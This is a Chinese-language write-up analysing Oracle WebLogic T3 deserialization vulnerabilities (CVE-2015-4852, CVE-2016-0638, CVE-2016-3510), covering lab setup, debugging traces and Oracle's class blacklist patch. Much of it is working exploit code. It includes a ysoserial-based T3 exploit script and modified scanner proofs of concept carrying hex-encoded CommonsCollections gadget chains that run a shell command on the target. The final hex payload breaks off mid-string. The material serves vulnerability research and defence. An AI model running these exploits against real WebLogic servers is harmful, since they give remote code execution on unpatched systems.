前言
记录Weblogic漏洞分析过程,参考了很多师傅的分析文章,链接放在后记中。
正文
环境搭建
搭建环境参考:
https://github.com/QAX-A-Team/WeblogicEnvironment
将对应版本的JDK与Weblogic分别放入/jdks和/weblogics目录中:
Oracle官网即可下载:
https://www.oracle.com/java/technologies/downloads/archive/
https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
Oracle WebLogic Server 10.3.6支持的最低JDK版本为JDK1.6, Oracle WebLogic Server 12.1.3支持的最低JDK版本为JDK1.7,Oracle WebLogic Server 12.2.1及以上支持的最低JDK版本为JDK1.8。
Docker构建:
`docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .`` ``docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21`
由于Centos8已与2022年底停止维护,这里需要提前跟换yum源:
`RUN cd /etc/yum.repos.d/``RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*``RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*`
配置远程调试:
`kdir ./middleware``docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/``docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/``docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib`
将docker中的主要lib目录拷贝出来,IDEA直接打开wlserver并将coherence_3.7与modules作为lib导入项目:
同时将/wlserver/server/lib目录作为lib导入:
配置remote调试端口即可:
启动调试:
T3协议:
Weblogic RMI是Weblogic对于Java RMI的实现,其主要使用Weblogic自有的T3协议和基于Corba的IIOP协议进行客户端与服务端之间的传输。
数据包中前四个字符描述数据包长度,而后为T3的协议头,同时每个标准反序列化头部aced0005前会新增一个fe010000字段:
更多内容参考:
CVE-2015-4852
影响范围:
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.2.1.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.1.2.0
漏洞分析:
找了一份sp4z师傅的脚本:
`from os import popen``import struct # 负责大小端的转换``import subprocess``from sys import stdout``import socket``import re``import binascii`` ``def generatePayload(gadget,cmd):` `YSO_PATH = "/Users/.../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar"` `popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)` `return popen.stdout.read()`` ``def T3Exploit(ip,port,payload):` `sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)` `sock.connect((ip,port))` `handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"` `sock.sendall(handshake.encode())` `data = sock.recv(1024)` `compile = re.compile("HELO:(.*).0.false")` `match = compile.findall(data.decode())` `if match:` `print("Weblogic: "+"".join(match))` `else:` `print("Not Weblogic")` `return` `header = binascii.a2b_hex(b"00000000")` `t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")` `desflag = binascii.a2b_hex(b"fe010000")` `payload = header + t3header +desflag+ payload` `payload = struct.pack(">I",len(payload)) + payload[4:]` `sock.send(payload)``if __name__ == "__main__":` `ip = "127.0.0.1"` `port = 7001` `gadget = "CommonsCollections1"` `cmd = "touch /tmp/success"` `payload = generatePayload(gadget,cmd)` `T3Exploit(ip,port,payload)`
大概利用过程如下:
代码调试:
`//wlserver/server/lib/wlthint3client.jar/weblogic/InboundMsgAbbrev.readobject()`` ``private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {` `int var2 = var1.read();` `switch (var2) {` `case 0:` `return (new ServerChannelInputStream(var1)).readObject();` `case 1:` `return var1.readASCII();` `default:` `throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");` `}``}`
在此处下断点,可看到已修改后的序列化数据:
通过ServerChannelInputStream.resovleClass()方法加载类:
而ServerChannelInputStream继承自ObjectInputStream,而此处的resolveClass方法也是调用父类方法未有任何处理,故造成反序列化漏洞:
下面就是正常的反序列化利用链流程了。
引用文章中的流程图:
修复方案
Weblogic选择resolveClass中添加类黑名单用于过滤反序列化利用链中所涉及的类,在其中一个补丁包中我们可以看到这个isBlackListed方法:
来自ClassFilter,过滤反序列化攻击所使用的关键类:
`package weblogic.rmi;`` ``import java.util.HashSet;``import java.util.StringTokenizer;`` ``public abstract class ClassFilter {` `static final String BLACK_LIST_PROPERTY = "weblogic.rmi.blacklist";`` ` `static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = "weblogic.rmi.disabledefaultblacklist";`` ` `static final String DISABLE_BLACK_LIST_PROPERTY = "weblogic.rmi.disableblacklist";`` ` `private static final String DEFAULT_BLACK_LIST = "+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure";`` ` `private static final HashSet<String> BLACK_LIST = new HashSet<String>();`` ` `static {` `if (!isBlackListDisabled()) {` `if (!isDefaultBlacklistEntriesDisabled())` `updateBlackList("+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure");`` updateBlackList(System.getProperty("weblogic.rmi.blacklist", null));` `}`` }`` ` `private static boolean isBlackListDisabled() {` `return Boolean.getBoolean("weblogic.rmi.disableblacklist");` `}`` ` `private static boolean isDefaultBlacklistEntriesDisabled() {` `return Boolean.getBoolean("weblogic.rmi.disabledefaultblacklist");` `}`` ` `private static void updateBlackList(String blackList) {` `if (blackList != null) {` `StringTokenizer st = new StringTokenizer(blackList, ",");` `while (st.hasMoreTokens()) {` `String token = st.nextToken();` `processToken(token);` `}`` } `` }`` ` `private static void processToken(String token) {` `if (token.startsWith("+")) {` `BLACK_LIST.add(token.substring(1));` `} else if (token.startsWith("-")) {` `BLACK_LIST.remove(token.substring(1));` `} else {` `BLACK_LIST.add(token);` `}`` }`` ` `public static boolean isBlackListed(String className) {` `String pkgName;` `if (className.length() > 0 && BLACK_LIST.contains(className))` `return true;`` try {` `pkgName = className.substring(0, className.lastIndexOf('.'));` `} catch (Exception ignored) {` `return false;` `}`` return (pkgName.length() > 0 && BLACK_LIST.contains(pkgName));` `}``}`
这个黑名单主要作用于三个类的resolveClass方法:
`weblogic.iiop.Utils.class` `weblogic.rjvm.MsgAbbrevInputStream.class``weblogic.rjvm.InboundMsgAbbrev.class`
同时也有师傅提到,开放在外网的情况下,还可以采用web代理和负载均衡。
web代理的方式只能转发HTTP的请求,而不会转发T3协议的请求,这就能防御住T3漏洞的攻击。
负载均衡的情况下,可以指定需要进行负载均衡的协议类型,这么这里就可以设置为HTTP的请求,不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。
CVE-2016-0638
影响范围:
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.2.1.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.1.2.0
漏洞分析:
上文中我们提到,补丁对weblogic.iiop.Utils.class,weblogic.rjvm.MsgAbbrevInputStream.class,weblogic.rjvm.InboundMsgAbbrev.class三个类中的反序列化过程进行了黑名单过滤,而在weblogic.jms.common.StreamMessageImpl类的readExternal方法中同样存在readObject操作:
所以我们需自定义实现一个StreamMessageImpl类。
观察其writeExternal与readExternal方法可见,我们需要自定义实现一个writeExternal逻辑将payload写入序列化过程:
`public void writeExternal(ObjectOutput var1) throws IOException {` `super.writeExternal(var1);` `int var3 = Integer.MAX_VALUE;` `ObjectOutput var2;` `if (var1 instanceof MessageImpl.JMSObjectOutputWrapper) {` `var3 = ((MessageImpl.JMSObjectOutputWrapper)var1).getCompressionThreshold();` `var2 = ((MessageImpl.JMSObjectOutputWrapper)var1).getInnerObjectOutput();` `} else {` `var2 = var1;` `}`` ` `byte var4;` `if (this.getVersion(var2) >= 30) {` `var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));` `} else {` `var4 = 2;` `}`` ` `var2.writeByte(var4);` `if (this.isCompressed()) {` `if (var4 == 2) {` `this.decompress().writeLengthAndData(var2);` `} else {` `this.flushCompressedMessageBody(var2);` `}`` ` `} else {` `Object var5;` `if (this.bos != null) {` `var5 = this.bos;` `} else {` `if (this.payload == null) {` `var2.writeInt(0);` `return;` `}`` ` `var5 = this.payload;` `}`` ` `if ((var4 & -128) != 0) {` `this.writeExternalCompressPayload(var2, (Payload)var5);` `} else {` `((Payload)var5).writeLengthAndData(var2);` `}`` ` `}``}`` ``public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {` `super.readExternal(var1);` `byte var2 = var1.readByte();` `byte var3 = (byte)(var2 & 127);` `if (var3 >= 1 && var3 <= 3) {` `switch (var3) {` `case 1:` `this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);` `BufferInputStream var4 = this.payload.getInputStream();` `ObjectInputStream var5 = new ObjectInputStream(var4);` `this.setBodyWritable(true);` `this.setPropertiesWritable(true);`` ` `try {` `while(true) {` `this.writeObject(var5.readObject());` `}` `} catch (EOFException var9) {` `try {` `this.reset();` `this.setPropertiesWritable(false);` `PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();` `this.payload = var7;` `} catch (JMSException var8) {` `JMSClientExceptionLogger.logStackTrace(var8);` `}` `} catch (MessageNotWriteableException var10) {` `JMSClientExceptionLogger.logStackTrace(var10);` `} catch (javax.jms.MessageFormatException var11) {` `JMSClientExceptionLogger.logStackTrace(var11);` `} catch (JMSException var12) {` `JMSClientExceptionLogger.logStackTrace(var12);` `}` `break;` `case 3:` `if ((var2 & -128) != 0) {` `this.readExternalCompressedMessageBody(var1);` `break;` `}` `case 2:` `this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);` `}`` ` `} else {` `throw JMSUtilities.versionIOException(var3, 1, 3);` `}``}`
参考项目代码:
https://github.com/zhzhdoai/Weblogic\_Vuln
自实现一个writeExternal逻辑:
`public void writeExternal(ObjectOutput var1) throws IOException {` `super.writeExternal(var1);` `ByteArrayOutputStream var2 = new ByteArrayOutputStream();` `ObjectOutputStream var3 = new ObjectOutputStream(var2);`` ` `try {` `var3.writeObject("payload_here");` `var3.flush();` `} catch (IllegalAccessException e) {` `e.printStackTrace();` `} catch (InvocationTargetException e) {` `e.printStackTrace();` `} catch (InstantiationException e) {` `e.printStackTrace();` `} catch (NoSuchMethodException e) {` `e.printStackTrace();` `} catch (ClassNotFoundException e) {` `e.printStackTrace();` `}` `byte[] var5 = var2.toByteArray();` `var1.writeByte(1);` `var1.writeInt(var5.length);` `var1.write(var5);` `}`
为方便调试稍微改了一下weblogicScaner的poc:
`import binascii``import socket``import struct``import subprocess``import time``from multiprocessing.managers import SyncManager``from typing import Any, Dict, List, Mapping, Tuple, Union`` ``from stars import target_type, Star`` ``def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -> (bool, dict):` `# T3协议握手` `dport = int(dport)` `sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)` `sock.settimeout(timeout)` `try:` `sock.connect((dip, dport))` `except socket.timeout:` `return False, {'msg': 'connection timeout.'}` `except ConnectionRefusedError:` `return False, {'msg': 'connection refuse.'}` `sock.send(bytes.fromhex(` `'74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))` `time.sleep(delay)` `sock.recv(1024)`` ` `# 构造T3协议头` `data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'` `data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format(` `'{:04x}'.format(dport))` `data3 = '1a7727000d3234322e323134'` `data4 = '2e312e32353461863d1d0000000078'` `for d in [data1, data2, data3, data4]:` `sock.send(bytes.fromhex(d))` `payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'` ` # -------- 经StreamMessageImpl封装的反序列化利用链payload --------` `payload += 'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78'` ` # ------------------------------------------------------` `payload += 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'` `payload = '%s%s' % ('{:08x}'.format(len(payload) // 2 + 4), payload)` `sock.send(bytes.fromhex(payload))` `time.sleep(delay)` `try:` `res = sock.recv(4096)` `print(res)` `return b'weblogic.jms.common.StreamMessageImpl' in res, {'msg': 'finish.'}` `except socket.timeout:` `return False, {'msg': 'connection timeout.'}`` ``if __name__ == "__main__":` `ip = "127.0.0.1"` `port = 7001` `light_up(dip=ip,dport=port)`
跟一下代码:
`readExternal:1396, StreamMessageImpl (weblogic.jms.common)``readExternalData:1835, ObjectInputStream (java.io)``readOrdinaryObject:1794, ObjectInputStream (java.io)``readObject0:1348, ObjectInputStream (java.io)``readObject:370, ObjectInputStream (java.io)``readObject:66, InboundMsgAbbrev (weblogic.rjvm)``read:38, InboundMsgAbbrev (weblogic.rjvm)``readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)``init:213, MsgAbbrevInputStream (weblogic.rjvm)``dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)``dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)``dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)``readReadySocketOnce:967, SocketMuxer (weblogic.socket)``readReadySocket:899, SocketMuxer (weblogic.socket)``processSockets:130, PosixSocketMuxer (weblogic.socket)``run:29, SocketReaderRequest (weblogic.socket)``execute:42, SocketReaderRequest (weblogic.socket)``execute:145, ExecuteThread (weblogic.kernel)``run:117, ExecuteThread (weblogic.kernel)`
同样通过InboundMsgAbbrev为入口进行数据的read操作,但由于我们实现了StreamMessageImpl接口,反序列化过程将通过readOrdinaryObject方法调用readExternalData,进而进入到StreamMessageImpl.readExternal中绕过黑名单检测触发二次反序列化。
从流量特征上看并无太多变化,主要还是weblogic.jms.common.StreamMessageImpl类的出现,而weblogicScaner也是基于response来判断vulnerability:
CVE-2016-3510
影响范围:
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.2.1.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.1.2.0
漏洞分析:
同样是对补丁黑名单的绕过,这次使用的是weblogic.corba.utils.MarshalledObject这个类:
`public MarshalledObject(Object var1) throws IOException {` `if (var1 == null) {` `this.hash = 13;` `} else {` `ByteArrayOutputStream var2 = new ByteArrayOutputStream();` `MarshalledObjectOutputStream var3 = new MarshalledObjectOutputStream(var2);` `var3.writeObject(var1);` `var3.flush();` `this.objBytes = var2.toByteArray();` `int var4 = 0;`` ` `for(int var5 = 0; var5 < this.objBytes.length; ++var5) {` `var4 = 31 * var4 + this.objBytes[var5];` `}`` ` `this.hash = var4;` `}``}`` ``public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {` `if (this.objBytes == null) {` `return null;` `} else {` `ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);` `ObjectInputStream var2 = new ObjectInputStream(var1);` `Object var3 = var2.readObject();` `var2.close();` `return var3;` `}``}`
MarshalledObject并未重写readObject方法或实现readExternal方法,使用原生的ObjectInputStream方法实现反序列化。
weblogic.corba.utils.MarshalledObject marshalledObject = new MarshalledObject(payload_here);
直接用MarshalledObject的构造方法生成对象,封装反序列化流:
还是使用上文中的poc脚本:
`import binascii``import socket``import struct``import subprocess``import time``from multiprocessing.managers import SyncManager``from typing import Any, Dict, List, Mapping, Tuple, Union`` ``from stars import target_type, Star`` ``def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -> (bool, dict):` `# T3协议握手` `dport = int(dport)` `sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)` `sock.settimeout(timeout)` `try:` `sock.connect((dip, dport))` `except socket.timeout:` `return False, {'msg': 'connection timeout.'}` `except ConnectionRefusedError:` `return False, {'msg': 'connection refuse.'}` `sock.send(bytes.fromhex(` `'74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))` `time.sleep(delay)` `sock.recv(1024)`` ` `# 构造T3协议头` `data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'` `data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format(` `'{:04x}'.format(dport))` `data3 = '1a7727000d3234322e323134'` `data4 = '2e312e32353461863d1d0000000078'` `for d in [data1, data2, data3, data4]:` `sock.send(bytes.fromhex(d))` `payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'` ` # -------- 经MarshalledObject封装的反序列化利用链payload --------` `payload += 'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006